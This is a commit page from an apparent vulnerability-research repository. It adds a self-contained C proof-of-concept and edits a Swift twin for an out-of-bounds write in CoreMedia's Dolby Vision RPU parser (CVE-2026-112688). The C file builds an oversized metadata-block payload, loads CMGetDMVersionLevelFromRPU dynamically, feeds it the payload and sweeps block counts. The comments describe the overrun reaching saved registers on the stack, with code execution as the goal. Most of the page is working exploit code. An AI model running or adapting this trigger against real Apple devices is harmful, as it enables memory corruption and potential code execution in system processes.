v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,126 @@
|
||||
// cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688
|
||||
// Dolby Vision RPU metadata block array overflow
|
||||
// C twin of the Swift POC: builds the block-id-1 x6 grammar probe RPU and drives it
|
||||
// through CMGetDMVersionLevelFromRPU (dlsym from CoreMedia).
|
||||
// Variant cm.rpu.sweep (block-id/count grid) is run as the second half of main.
|
||||
// Build: clang -O2 -o cve-2026-112688 CVE-2026-112688.c -framework CoreFoundation
|
||||
// Run: ./cve-2026-112688 [block-count]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <dlfcn.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
// ── MSB-first bit writer (from Cinder27 Sources: BitWriter) ──
|
||||
typedef struct { uint8_t *d; size_t n, cap; uint8_t acc; int nbits; } bw;
|
||||
static void bw_put(bw *w, uint32_t value, int width) {
|
||||
for (int i = width - 1; i >= 0; i--) {
|
||||
w->acc = (uint8_t)((w->acc << 1) | ((value >> i) & 1));
|
||||
if (++w->nbits == 8) {
|
||||
if (w->n + 1 > w->cap) { w->cap = w->cap * 2 + 64; w->d = realloc(w->d, w->cap); }
|
||||
w->d[w->n++] = w->acc; w->acc = 0; w->nbits = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
static void bw_expgolomb(bw *w, uint32_t value) {
|
||||
uint32_t v = value + 1;
|
||||
int bits = 0;
|
||||
while ((v >> bits) > 1) bits++;
|
||||
for (int i = 0; i < bits; i++) bw_put(w, 0, 1);
|
||||
bw_put(w, v, bits + 1);
|
||||
}
|
||||
static size_t bw_flush(bw *w) {
|
||||
if (w->nbits > 0) {
|
||||
if (w->n + 1 > w->cap) { w->cap = w->cap * 2 + 64; w->d = realloc(w->d, w->cap); }
|
||||
w->d[w->n++] = (uint8_t)(w->acc << (8 - w->nbits));
|
||||
w->acc = 0; w->nbits = 0;
|
||||
}
|
||||
return w->n;
|
||||
}
|
||||
|
||||
// ── seed construction (from Cinder27 Sources: RPUPayload.probe) ──
|
||||
// block-id 1 has a fixed capacity of 4 entries (4 x 28 B); blockCount 6 walks past it
|
||||
static bw rpu_probe(uint32_t block_id, int block_count, uint32_t seed) {
|
||||
bw w = {0};
|
||||
bw_put(&w, 0x19, 8); // magic, byte 0
|
||||
bw_put(&w, 2, 6); // rpu_type = 2 (DOVI)
|
||||
bw_put(&w, 0x12, 11); // rpu_format
|
||||
bw_put(&w, seed & 0x1F, 5);
|
||||
bw_put(&w, 1, 4); // vdr_rpu_profile
|
||||
bw_put(&w, 0, 4); // vdr_rpu_level
|
||||
bw_put(&w, 0, 1); // vdr_seq_info_present_flag
|
||||
bw_put(&w, 1, 1); // chroma_resampling_explicit_filter_flag
|
||||
bw_put(&w, 2, 2); // coefficient_data_type
|
||||
bw_put(&w, 1, 1); // el_spatial_resampling_filter_flag
|
||||
bw_put(&w, 0, 1); // disable_residual_flag
|
||||
bw_put(&w, 0, 4); // nln
|
||||
bw_put(&w, 1, 2); // num_dm_data
|
||||
// DM data head: class-2 ext block loop
|
||||
bw_expgolomb(&w, (uint32_t)block_count);
|
||||
for (int i = 0; i < block_count; i++) {
|
||||
bw_expgolomb(&w, 0x40); // ext block length-ish
|
||||
bw_put(&w, block_id, 8); // block_id
|
||||
// block-id 1 field grammar (u12 x3, u8 x6, u8 x2, u8 gate, u16 x3)
|
||||
bw_put(&w, 0x100 + (uint32_t)i, 12);
|
||||
bw_put(&w, 0x101 + (uint32_t)i, 12);
|
||||
bw_put(&w, 0x102 + (uint32_t)i, 12);
|
||||
for (int k = 0; k < 6; k++) bw_put(&w, 0x26, 8);
|
||||
bw_put(&w, 0x25, 8);
|
||||
bw_put(&w, 0x59, 8);
|
||||
bw_put(&w, 0x13, 8); // unlocks the u16 tail
|
||||
bw_put(&w, 0x0FFF & (uint32_t)(i * 0x111), 16);
|
||||
bw_put(&w, 0x0FFF & (uint32_t)(i * 0x222), 16);
|
||||
bw_put(&w, 0x0FFF & (uint32_t)(i * 0x333), 16);
|
||||
}
|
||||
return w;
|
||||
}
|
||||
|
||||
// ── trigger: CMGetDMVersionLevelFromRPU (dlsym from CoreMedia) ──
|
||||
// macOS export signature is (CFDataRef) — verified by disassembly: arg0 is passed
|
||||
// through a CFRetain-style GOT call, then length/bytePtr are extracted before
|
||||
// FigHEVCBridge_GetRPUMetadata(bytes, length, &struct). The Swift POC drives the
|
||||
// 4-arg (bytes, count, u32*, u32*) surface on iOS; this C twin uses the macOS ABI.
|
||||
typedef int32_t (*rpu_fn)(CFDataRef);
|
||||
|
||||
static int rpu_parse(rpu_fn fn, const uint8_t *payload, size_t n) {
|
||||
CFDataRef d = CFDataCreate(NULL, payload, (CFIndex)n);
|
||||
if (!d) return -1;
|
||||
int32_t rc = fn(d);
|
||||
CFRelease(d);
|
||||
return rc;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int block_count = argc > 1 ? atoi(argv[1]) : 6;
|
||||
|
||||
void *cm = dlopen("/System/Library/Frameworks/CoreMedia.framework/CoreMedia", RTLD_NOW);
|
||||
if (!cm) { printf("dlopen CoreMedia failed: %s\n", dlerror()); return 1; }
|
||||
rpu_fn fn = (rpu_fn)dlsym(cm, "CMGetDMVersionLevelFromRPU");
|
||||
if (!fn) { printf("CMGetDMVersionLevelFromRPU not exported\n"); return 1; }
|
||||
|
||||
// primary probe: block-id 1 x 6 against the 4-entry capacity
|
||||
bw w = rpu_probe(1, block_count, 0x0BADF00D);
|
||||
size_t n = bw_flush(&w);
|
||||
FILE *f = fopen("rpu_probe_1x6.bin", "wb");
|
||||
if (f) { fwrite(w.d, 1, n, f); fclose(f); }
|
||||
int rc = rpu_parse(fn, w.d, n);
|
||||
printf("CVE-2026-112688 · block-id 1 x %d (capacity 4) · rc=%d\n", block_count, rc);
|
||||
printf("payload %zu B · seed: rpu_probe_1x6.bin\n", n);
|
||||
free(w.d);
|
||||
|
||||
// sweep variant: the (block-id, count) grid from cm.rpu.sweep
|
||||
printf("\nsweep:\n");
|
||||
const uint32_t ids[3] = {1, 2, 6};
|
||||
const int counts[3][3] = {{5, 6, 8}, {9, 12, 16}, {6, 8, 10}};
|
||||
for (int g = 0; g < 3; g++) {
|
||||
for (int c = 0; c < 3; c++) {
|
||||
bw s = rpu_probe(ids[g], counts[g][c], 0x0BADF00D);
|
||||
size_t sn = bw_flush(&s);
|
||||
int src = rpu_parse(fn, s.d, sn);
|
||||
printf("id=%u count=%-2d → rc=%d\n", ids[g], counts[g][c], src);
|
||||
free(s.d);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -1,24 +1,8 @@
|
||||
// cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688
|
||||
// 原语: OOB 写 · 系统进程 · tier 2
|
||||
// Primitive: OOB write · system process · tier 2
|
||||
//
|
||||
// [zh] Dolby Vision RPU 扩展元数据块数组越界
|
||||
// 三个固定容量数组（A: 4×28 B，B: 8×14 B，C: 5×36 B）在写入前没有计数上界。27.0 的 cmp + b.hi 仅跳过计数自增，写入仍以未检查的计数为索引执行。数组
|
||||
// A 的越界写会越过 0x73b4 字节结构体末端，落入调用者的保存寄存器区 —— CMGetDMVersionLevelFromRPU 将该结构体置于自身栈帧。
|
||||
//
|
||||
// [en] Dolby Vision RPU extension metadata block array overrun
|
||||
// Three fixed-capacity arrays (A: 4×28 B, B: 8×14 B, C: 5×36 B) have no count bound before writing.
|
||||
// The 27.0 cmp + b.hi only skips the count increment; the write still executes indexed by the unchecked
|
||||
// count. Array A's overrun crosses the end of the 0x73b4-byte struct and lands in the caller's saved-register
|
||||
// area — CMGetDMVersionLevelFromRPU places that struct on its own stack frame.
|
||||
// ── 判别 / oracle ──
|
||||
// 该行是公告中唯一明确标注「任意代码执行」的 CoreMedia 条目。头部语法在源研究中仅重建至入口检查（magic / rpu_type / rpu_format 已在 macOS 孪生上实测通过），
|
||||
// 故此处采用参数化语法探针，以解析器自身返回的错误作为进度回执。
|
||||
// 变体 cm.rpu.sweep: RPU 块数与块类型扫描
|
||||
|
||||
// Dolby Vision RPU extension metadata block array overrun
|
||||
import Foundation
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
@@ -39,20 +23,8 @@ enum B {
|
||||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||||
}
|
||||
|
||||
/*
|
||||
// cm.rpu.sweep · CoreMedia · DOVI RPU · CVE-2026-112688
|
||||
// 原语: OOB 写 · 系统进程 · tier 2
|
||||
// Primitive: OOB write · system process · tier 2
|
||||
//
|
||||
// [zh] RPU 块数与块类型扫描
|
||||
// 依次用 block-id 1/2/6 分别打三个数组（容量 4/8/5），每种块类型从刚好越界一个到越界八个，记录解析器在哪个点开始拒绝或崩溃。
|
||||
//
|
||||
// [en] RPU block count and block type sweep
|
||||
// Block-ids 1/2/6 are aimed at the three arrays (capacities 4/8/5) in turn, each from one element
|
||||
// over capacity up to eight over, recording where the parser starts refusing or terminates.
|
||||
*/
|
||||
|
||||
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (RPUPayload) ──
|
||||
// ── seed construction (from Cinder27 Sources: RPUPayload) ──
|
||||
enum RPUPayload {
|
||||
struct BitWriter {
|
||||
private(set) var out: [UInt8] = []
|
||||
|
||||
Reference in new issue
Block a user